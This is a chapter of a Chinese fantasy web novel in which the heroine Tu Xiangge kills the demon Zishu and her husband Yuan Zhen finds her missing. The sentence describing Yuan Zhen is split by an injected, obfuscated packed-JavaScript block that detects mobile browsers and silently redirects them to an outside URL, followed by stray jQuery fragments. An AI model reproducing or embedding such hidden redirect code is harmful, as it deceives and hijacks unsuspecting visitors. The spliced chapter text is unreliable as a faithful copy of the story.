123读书网 > 玄幻小说 > 洒家战神,手撕命簿 [快穿] > 87. 第四十章
    纳愿阁内,猎人猎物。


    子书歪头站在屠湘歌面前,像一只猫,对着一只半死的老鼠。


    可他才是老鼠,偏生爱学猫的招数,喜欢看猎物垂死挣扎,喜欢用爪子拨拢,恐吓,折辱。


    他想刺瞎屠湘歌的眼,他想将戟尖捅进她眼窝,斜刺里往上,直捣脑浆。他要她七孔流血,痛苦不堪,才可抵消这些时日,他的一挫再挫。


    “你喜欢左眼还是右眼?”子书兴致勃勃地问屠湘歌,手中戟尖寒星一点,一时对准她的左眼,倏忽间又对上她的右眼。


    屠湘歌面白如纸,冷汗直落,瞳孔中倒映着他的兴奋和无从下手。


    “胜者王……败者寇,你要杀便杀,”她生来命硬,学不会软骨头,“若我眨一下眼,算我孬种!”


    她只恨她回不了家……她的阿祯,还没原谅她。


    子书脸上的笑僵了一瞬。


    这不对。


    他要的不是这个。


    他要她痛哭流涕,哀声求饶,痛不欲生。


    他要看她那双冷眼里流出血泪,要听那张硬嘴里吐出软话。


    “你怎不问一问,”他忽然开口,声音压得极低,却是勾人得紧,“我杀了你,我能得到什么?元祯又要付出什么?”


    屠湘歌浑身一震————对……对……


    子书见有戏,眼底闪过一丝兴奋,大手一挥,放出「生意经」。


    只见账册凭空立,书页簌簌翻,翻到一处便不再动弹。


    他打了个响指,就见金色字体如游鱼,争游直上,而“潘安貌”、“探花才”、“痴情种”这三个词儿,落在屠湘歌眼里,简直触目惊心。


    “他将这些都‘卖’给了你……只要我一死?”


    “不错,”子书笑脸盈盈地应道:“若非娘子难杀,探花郎原也不用付出这么多代价。”


    抬指虚点过“明码标价”,他啧啧有声道:“待娘子身死,元探花便有如夏花,绚烂一刹。容貌尽毁,才华尽失,痴情不再。”


    越说越是兴起,他字字句句都像上蹿下跳的耗子,在屠湘歌的皮肉上打洞,在她的心上钻孔:


    “你说,到那时他还能以何为生?”


    “是否就会走投无路,再次踏入我纳愿阁?”


    “我还能在他身上淘到什么宝贝?”


    “思来想罢,怕是只有他的魂魄还值点儿价儿。”


    他们妖怪,一个二个都要将阿祯拆吃入腹,敲骨吸髓,丁点儿不剩。


    她怎么敢死?


    她怎么可以不回家?


    “杀猪刀……”屠湘歌轻声喃喃,眼底焕发不屈的光,像残垣断壁里随凄风摆荡的破灯笼,仅剩寸余的蜡烛,烛芯还在明灭,“你若有灵就帮帮我,帮我……杀了他。”


    下一瞬——


    血戮戟着了。


    戟身之上,血纹大亮,像烧红的铁水,喷涌的岩浆。


    “啊——!”


    子书猝不及防,烫得一声惨叫,猛地甩手,却见血戮戟脱手而出,竟不曾落地。


    它在半空中打了个旋,周身血光流转,须臾之间,已从长戟变回那柄杀猪刀。而后刀身一转,如回旋镖一般,直直飞向主人身侧。


    屠湘歌伸手接住它,不由分说,径直捅进子书心口。


    这一切发生在瞬息间。


    愕然的眼,对上冰冷的视线。


    子书张了张嘴,想说什么,却只发出几声含混的声响。他低头看向自己胸口,那里正往外涌着血,红得刺眼。


    「生意经」无力落地,封面像独自过了百年,渐渐成旧,发黄,生脆。


    “杀猪放血,得一刀毙命。”


    屠湘歌冷着面目,一把抽回刀,“若是话太多,猪会跑的。”


    “跑了猪”的子书,仰面倒下,眼睛睁得很大。他望着开了天窗的天花板,死不瞑目。


    屠湘歌站在原地,喘着粗气,腰间的伤口还在往外渗血,巨型捕兽夹咬得她太紧。


    杀猪刀重新变回血戮戟。


    她撑着长戟,一下一下,撬开咬着她腰的捕兽夹。


    铁齿松开的那一刻,她险些栽倒在地,踉跄了两步才勉强站稳。


    脚下似乎是踩到什么软绵绵的东西,她低头一看,原是死掉了的「生意经」。


    带血的脚印碾下去,书页顿时碎成渣渣。她拖着长戟,捂着腰腹,一步一脚,朝着大门走去。


    眼下是什么时辰?


    妖门还开着吗?


    她身上这么多血,要怎么见阿祯?


    *


    月落星沉,书房,矮塌。


    元祯蜷着身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223235|191496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子,似是做了噩梦,额间沁出一层薄汗,口中喃喃有声,“湘湘姐……湘湘……”


    他梦见一地的血。


    他梦见她头也不回。


    无论他如何追赶,却怎么也追不上。


    为何总是不近不远?


    为何触手可及也抓不住?


    他低头看了眼自己,原来还是孩子的双手和双足。


    “阿祯弟弟读书就好,这些东西放着我来。”


    “阿祯弟弟不用在意那些闲言碎语,等你高中那天,难听的话都会变成好听的话。”


    “今日风大雨急,阿祯不用出门来接。”


    “阿祯会受伤的。”


    “阿祯站在我身后就行。”


    ……


    ………


    黑暗里,元祯倏然睁开眼眸,过了好一会儿,才慢慢坐起身。


    被角整整齐齐掖着,像是被人细心整理过。


    “湘歌。”


    他心下一动,掀开被子,连鞋都来不及穿,赤脚推开门。


    天色尚早,刚泛起一丝青白,远处传来鸡鸣声,“喔喔喔——!”


    元祯踩过雨后湿润的青石板,带着满脚水渍,一路跑回卧房。


    “湘湘!”


    他猛地推开门,脚步湿答答地往里闯,心里的惴惴不安,只有那一人能填满。


    可床榻之上,枕头方正,被褥齐整,根本没有人躺过的迹象。


    元祯怔在当场,脚底板凉,心上更凉————她去哪儿了?


    *


    屠湘歌依旧捂着腰腹,拖着长戟,却是刚走出纳愿阁,就迷路在浓雾里。


    那该死的「斗」,只知道火急火燎地给她丢下井,都不教教她,会藏猫猫的「妖门」是要怎么找啊!


    *


    元祯像疯了一样翻找整个院落,衣柜里,桌子下,厨房,客房。


    没有。


    都没有。


    天一点点亮。


    他魂不守舍地走回书房。


    大开的房门,将屋外的光往里让,于是在地上,也开出门一扇。


    他垂着眼,正要迈步进去,却忽然顿住。


    地上有一些暗褐色的痕迹,星星点点,去到他矮塌边,又爬上窗沿。


    元祯面无人色,眼里的光,一点点暗。